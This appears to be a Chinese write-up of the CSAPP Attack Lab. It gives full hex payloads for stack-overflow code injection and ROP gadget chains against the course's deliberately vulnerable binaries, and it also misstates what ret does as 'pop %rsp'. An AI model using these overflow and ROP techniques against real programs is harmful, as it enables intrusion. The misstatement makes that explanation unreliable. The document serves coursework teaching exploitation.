阅读此篇题解需要有CSAPP第三章基础,对于基本汇编指令本文不做过多说明。尝试Lab前应先下载官方提供的Writeup【https://csapp.cs.cmu.edu/3e/attacklab.pdf】并在开始每一阶段前阅读相应内容,否则容易一头雾水。
注意,因为我们是在本地运行Lab,所以运行程序时要加上参数-q
,告诉程序不上数据传到伺服器,否则无法运行。
Phase_1
文档给了test
函数的C代码:
voidtest(){int val; val = getbuf();printf("No exploit. Getbuf returned 0x%xn", val);}
还给了touch1
函数的代码:
voidtouch1(){ vlevel = 1; /* Part of validation protocol */printf("Touch1!: You called touch1()n");validate(1);exit(0);}
题目要求当getbuf
返回时不返回到下一行的printf
,而是跳转到touch1
运行。
首先查看getbuf
的反汇编代码:
00000000004017a8 <getbuf>:4017a8:48 83 ec 28 sub $0x28,%rsp4017ac:48 89 e7 mov %rsp,%rdi4017af:e8 8c 02 00 00 callq 401a40 <Gets>4017b4:b8 01 00 00 00 mov $0x1,%eax4017b9:48 83 c4 28 add $0x28,%rsp4017bd:c3 retq 4017be:90 nop4017bf:90 nop
0x4017a8
处指令开辟了大小0x28 = 40
(字节)的栈空间,然后将栈顶作为参数(%rdi
)传给Gets
函数。
我们需要在输入时输入48字节的内容让栈溢出,使返回地址被覆盖为touch1
的内存地址。
00000000004017c0 <touch1>:4017c0:48 83 ec 08 sub $0x8,%rsp4017c4:c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>4017cb:00 00 00 4017ce:bf c5 30 40 00 mov $0x4030c5,%edi4017d3:e8 e8 f4 ff ff callq 400cc0 <puts@plt>4017d8:bf 01 00 00 00 mov $0x1,%edi4017dd:e8 ab 04 00 00 callq 401c8d <validate>4017e2:bf 00 00 00 00 mov $0x0,%edi4017e7:e8 54 f6 ff ff callq 400e40 <exit@plt>
查看代码我们可以发先touch1
首行指令在地址0x4017c0
处,这是我们想让代码从getbuf
返回的地址。(注意,因为机器采小端序,在输入时应输入C0 17 40 00
)
由此,我们可以构建出shellcode:
00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00C0 17 40 00
我们将这段内容保存在档案phase_1
中,然后使用lab提供的工具hex2raw
将其转换成程序接受的string
类型。
注意,运行ctarget
前要加上-q
,防止因为程序连接不上伺服器而报错。
./hex2raw < phase_1 | ./ctarget -q
Phase_2
查看文档,发现给出的touch2
函数要求传入一个无符号数,并检查该输入是否与cookie
相等。
voidtouch2(unsigned val) { vlevel = 2;if (val == cookie) {printf("Touch2!: You called touch2(0x%.8x)n", val);validate(2); }else {printf("Misfire: You called touch2(0.x%8x)n", val);fail(2); }exit(0);}
00000000004017ec <touch2>:4017ec:48 83 ec 08 sub $0x8,%rsp4017f0:89 fa mov %edi,%edx4017f2:c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>4017f9:00 00 00 4017fc:3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>401802:75 20 jne 401824 <touch2+0x38>401804:be e8 30 40 00 mov $0x4030e8,%esi401809:bf 01 00 00 00 mov $0x1,%edi40180e:b8 00 00 00 00 mov $0x0,%eax401813:e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>401818:bf 02 00 00 00 mov $0x2,%edi40181d:e8 6b 04 00 00 callq 401c8d <validate>401822:eb 1e jmp 401842 <touch2+0x56>401824:be 10 31 40 00 mov $0x403110,%esi401829:bf 01 00 00 00 mov $0x1,%edi40182e:b8 00 00 00 00 mov $0x0,%eax401833:e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>401838:bf 02 00 00 00 mov $0x2,%edi40183d:e8 0d 05 00 00 callq 401d4f <fail>401842:bf 00 00 00 00 mov $0x0,%edi401847:e8 f4 f5 ff ff callq 400e40 <exit@plt>
首先查看代码可以知道touch2
函数开头地址为0x4017ec
。在Lab文件夹内有一个文件叫cookie.txt
,里面存放着我们需要的cookie
值。
因为我们要将cookie
值传给touch2
,回想CSAPP第三章内容可以知道,函数的第一个参数存放在%rdi
中。所以我们需要执行以下代码:
movq $0x59b997fa, %rdi
然后我们要调用touch2
函数,即0x4017ec
地址处。这里我们不使用call
或jmp
而使用ret
,因为偏移不好计算。注意,ret
指令会跳转到栈顶保存的地址,并将该地址出栈(pop
)。
pushq $0x4017ecret
将三行汇编代码结合在一起,就成功达成调用函数的功能了。我们将这段代码保存在phase_2_asm.s
中,然后使用指令:
gcc -c phase_2_asm.sobjdump -d phase_2_asm > phase_2_asm.asm
打开phase_2_asm.asm,可以发现对应的机器代码。
phase_2_asm.o:file format elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:0:48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi7:68 ec 17 40 00 pushq $0x4017ecc:c3 retq
即:
48 c7 c7 fa 97 b9 59 68ec 17 40 00 c3
有这些还不够,因为这些数据在输入后会被储存在栈中,所以会被视为数据而非代码的一部份。所以我们利用栈溢出将栈中原本的储存地址覆盖成栈顶(用户输入数据的存储起始点)的位置,即可让该段代码被值行。(即将%rip
设置为%rsp
)
通过gdb查看,我们可以发现用户输入数据的存储起始点在0x5561dc78
处。
利用0填充空间后,我们可以构建出shellcode并将其保存在phase_2中:
48 c7 c7 fa 97 b9 59 68ec 17 40 00 c3 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0078 dc 61 55
利用以下代码验证其正确性:
./hex2raw < phase_2 | ./ctarget -q
Phase_3
查看文档,发现这题需要给hexmatch
函数传入一个等于cookie
的字符串,其中字符串应传入首字符的地址(char *
)。
inthexmatch(unsigned val, char *sval) {char cbuf[110];char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;}
voidtouch3(char *sval) { vlevel = 3;if (hexmatch(cookie, sval)) {printf("Touch3!: You called touch3("%s")n", sval);validate(3); }else {printf("Misfire: You called touch3("%s")n", sval);fail(3); }exit(0);}
首先查看touch3
的地址:0x4018fa
。cookie
的值在phase_2
就找到过了:0x59b997fa
。文档中说明传入的cookie
字符串不应包含前缀的0x
,所以实际要传入的字符串应为:59b997fa
。
注意,通过查看文档,我们可以发现一句话:"When functionshexmatch
andstrncmp
are called, they push data onto the stack, overwriting portions of memory that held the buffer used bygetbuf
. As a result, you will need to be careful where you place the string representation of your cookie. "。即当hexmatch
和strncmp
被调用时会将数据入栈,可能会覆盖getbuf
的部分内容,需要小心选择字符串储存地址。
意即避免将字符串存放在getbuf
的栈帧内,故此我们选择将其存放在test
的栈帧内。
查看test
的栈底:0x5561dca8
。
参考phase_2
我们可以编写出以下汇编代码,并将其转换为机器代码:
0000000000000000 <.text>:0:48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi7:68 fa 18 40 00 pushq $0x4018fa c:c3 retq
到目前为止,我们可以写出以下与phase_2
雷同的shellcode:
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 78 dc 61 55
由于我们的字符串应储存在0x5561dca8
,而储存我们输入的首地址在0x5561dc78
,所以我们应该给输入的最后一行填充0并在下一行处填入cookie
字符串。
回想字符串如何储存:利用ASCII表示字符。
将cookie
转换为ASCII码后为:35 39 62 39 39 37 66 61
至此,我们的shellcode就构建出来了:
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 0035 39 62 39 39 37 66 61
创建文件phase_3
并将shellcode存放在该的文件中,测试:
Return-Oriented Programming 概念补充
下个阶段不能使用前三个阶段的代码注入(Code Injection)技术,因为:
◆使用地址随机化技术,导致每次运行时栈的地址都不同,使得难以定位注入的代码。
◆将栈的内存设置为不可执行,所以就算可以将PC设置为注入代码的地址,程序也会返回segmentation fault。
故,下两阶段会用到ROP知识(Return-Oriented Programming)。
ROP使用的概念是找出程序中的特殊几个字节,即我们想要执行的代码与ret
,我们称这种片段gadget(ret
指令用来跳转到下一个gadget)。
上图说明了如何在栈中设置并执行一连串的gadget,其中0xc3
表示指令ret
。当每个gadget运行到ret
时,会从栈顶取出下一个gadget的地址并执行,使得整个gadget链被完整执行。
用以下例子举例:
voidsetval_210 (unsigned *p) { *p = 3347663060U;}
0000000000400f15 <setval_210>:400f15: c7 07 d4 48 89 c7 movl $0xc78948d4, (%rdi)400f1b: c3 retq
字节序列48 89 c7
就可以组成指令movq %rax, %rdi
,并且这个序列最后还跟随了一个c3
,也就是ret
。我们的目标序列在地址0x400f18
处,所以如果直接跳转到0x400f18
处就可以执行我们想要执行的指令。
Phase_4
此题与phase_2雷同,只是开启了保护。因为无法在栈上执行代码,所以我们使用ROP。
在此我们想使用gadget实现以下功能:
movq $0x59b997fa, %rdipushq $0x4017ecret
但是显然gadget中不会包含我们需要的立即数(如:0x59b997fa
)。换个思路,我们可以将数据存放在栈中,然后使用popq
取得数值。搜寻popq %rdi
对应的机器代码5f
,发现无法在有效区内找到。我们换个思路,可以尝试用一个中转寄存器储存这个值:
gadget1: popq %raxretgadget2: mov %rax, %rdiret
查看上图可发现,对应机器代码为:58 c3
与48 89 c7 c3
。通过搜索我们可以找到以下两个函数:
00000000004019ca <getval_280>:4019ca:b8 29 58 90 c3 mov $0xc3905829,%eax4019cf:c3 retq
00000000004019a0 <addval_273>:4019a0:8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax4019a6:c3 retq
通过在0x4019cc
截断第一个函数可以构成gadget1
(90
为nop
,即no operation),在0x4019a2
截断第二个函数可以构成gadget2
。
理想状态下,我们期望栈的状态如下:
---- Stack -----------------full of zero | getbuf的栈帧-------------gadget1 | test的栈帧 (getbuf的返回地址)cookie |gadget2 |touch2 |----------------------------
当getbuf
执行ret
后,会跳转到gadget1
并将其地址出栈。
这时gadget1
中的pop
就会将cookie值从栈顶取出,然后跳转到gadget2
继续执行。
故此,我们可以构建出以下shellcode,并保存在phase_4中:
00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00cc 19 40 00 00 00 00 00fa 97 b9 59 00 00 00 00a2 19 40 00 00 00 00 00ec 17 40 00 00 00 00 00
验证正确性:
Phase_5
终于到这个阶段了,可以先休息一波。官方文档还温馨提示我们:已经得到了95/100的分数,这是一个很棒的分数了。如果大家有甚么其他更重要的事情可以先放下这个lab去做啦!因为这个阶段只占可怜的5分,不值得我们耗费这么多时间去解答它,除非我们将它视为额外的挑战任务,想要超越这门课程对普通学生的期待程度。
既然如此,各位看官若是手头上有其他事情要做,就可以关闭这份题解啦!否则,我们还有路要走喔。
因为地址随机,所以想要获取字符串的储存地址应该使用%rsp + <bias>
的形式取得。
我们想要实现以下功能:
mov %rsp, %raxadd $bias, %raxmov %rax, %rdicall touch3
但是寻找后发现没有add
的机器码,我们可以使用另一个函数代替。
00000000004019d6 <add_xy>:4019d6:48 8d 04 37 lea (%rdi,%rsi,1),%rax4019da:c3 retq
因为某些mov
指令的源或目标寄存器的机器码不存在程序中,所以我们需要通过一些过渡寄存器来传递这些值。相信各位在经历phase 4后,已经可以独立寻找到相应的机器码地址。此处便不再重述,直接给出栈的样子 (省略各gadget的ret
指令)。
---- Stack ------------------------------------------------full of zero | getbuf的栈帧-------------------------------------------- mov %rsp, %rax: 0x401a06 | test的栈帧 (getbuf的返回地址)mov %rax, %rdi: 0x4019a2 |pop %rax: 0x4019cc |bias: 8 * 9 = 72 (0x48) |mov %eax, %edx: 0x4019dd |mov %edx, %ecx: 0x401a70 |mov %ecx, %esi: 0x401a27 |lea (%rdi, %rsi, 1), %rax: 0x4019d6 |mov %rax, %rdi: 0x4019a2 |Address of touch3: 0x4018fa |ASCII of cookie: 35 39 62 39 39 37 66 61 00 |-----------------------------------------------------------
注意此处偏移量的计算:执行mov %rsp, %rax
时,%rsp
其实正指向存放mov %rax, %rdi
的栈内存。回忆ret
指令相等于以下两条指令pop %rsp
+jmp %rsp
,所以执行第一个gadget时,%rsp
正指向第二个gadget的内存地址。从第二个gadget算起,到cookie字符串储存的地址,中间隔了9个8字节的大小,所以偏移量为8×9=72(0x48)8 times 9 = 72 (0x48) 。
以上,可以构建出shellcode:
00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0006 1a 40 00 00 00 00 00a2 19 40 00 00 00 00 00cc 19 40 00 00 00 00 0048 00 00 00 00 00 00 00dd 19 40 00 00 00 00 0070 1a 40 00 00 00 00 0027 1a 40 00 00 00 00 00d6 19 40 00 00 00 00 00a2 19 40 00 00 00 00 00fa 18 40 00 00 00 00 0035 39 62 39 39 37 66 61
验证正确性:
至此,五个阶段全部完结。
https://bbs.kanxue.com/user-home-994663.htm
原文始发于微信公众号(看雪学苑):《深入理解计算机系统》Attack Lab 题解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论